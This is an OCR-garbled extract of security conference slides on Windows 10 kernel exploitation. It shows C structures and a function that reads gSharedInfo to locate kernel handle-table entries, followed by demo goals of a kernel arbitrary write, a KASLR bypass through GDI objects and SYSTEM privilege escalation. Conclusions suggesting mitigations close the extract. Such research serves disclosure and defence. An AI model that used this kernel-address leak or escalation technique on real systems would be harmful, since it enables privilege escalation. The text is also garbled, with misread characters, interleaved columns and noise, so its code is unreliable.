union PUSER_HANDLE ENTRY aheList; DWORD cHandleEntries; 1m .

i ULONG HeEntrySize; WORD wSRVIFlags; |
PVOID pij; ULONG_PTR pDispInfo; WORD wRIPPID; e
PVOID pti; ULONG_PTR ulSharedDelta; WORD wRIPError;
PVOID ppi; ULONG_PTR awmControl; } SERVERINFO, *PSERVERINFO;

1; ULONG_PTR DefWindowMsgs;

BYTE type; ULONG_PTR DefWindowspecMsgs; typedef struct WNDMSG

BYTE flags; } SHAREDINFO, *PSHAREDINFO;

WORD generation; DWORD maxtMsgs;

} USER _HANDLE ENTRY, *PUSER_HANDLE ENTRY; PEYTE abMsgs;
} WNDMSG, *PWNDMSG;

PUSER_HANDLE_ENTRY GetEntryFromHandle(LPVOID handle)

L

PUSER_HANDLE_ENTRY addr = @;

PSHAREDINFO pSharedInfo = {PSHAREDINFO)GetProcAddress(GetModuleHandle("USER32.d11"}, "gSharedInfo™);
PUSER_HANDLE ENTRY gHandleTable = pSharedInfo-rahelist;

DWORD index = LOWORD(handle);

try {

addr = &gHandleTable[index];
}
catch [..-¥ {}

return addr;



KMALLOC/KFREE/KMALLOC
LIVE DEMO

m Target:

Windows 10 x64 v1511
Scenario:

Running in Low Integrity Level
ObJectlve

~=.Show kernel allocations



FINAL
LIVE DEMO

Target:

Windows 10 x64 v1607
Scenario:

Running in Low Integrity Level
Objective:

-.Simulate a kernel arb.write
- Bypass.KASLR using GDI objects
- Get “system™privileges



CONCLUSIONS
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L
LCONCLUSIONS

m KASLR can be

m User objects table (gSharedInfo->ahelList) shouldn’t leak a real
kernel pointer.

m GDI objects addresses can be inferred via user objects.

m SURFOBJ].cjBits should be used to validate the BITMAP size.



QUESTIONS




KernelAddress FFFoR (515]1]
P ProcessId: 886068

- 0@
-~ 1]
-

BJECT :

gr: 7405086bb R

reCount: BBB@ABOAH m,”_ﬂ,.u.ﬂ-w-""
lusivelock: OBGE e=——""
F1aggamidae""




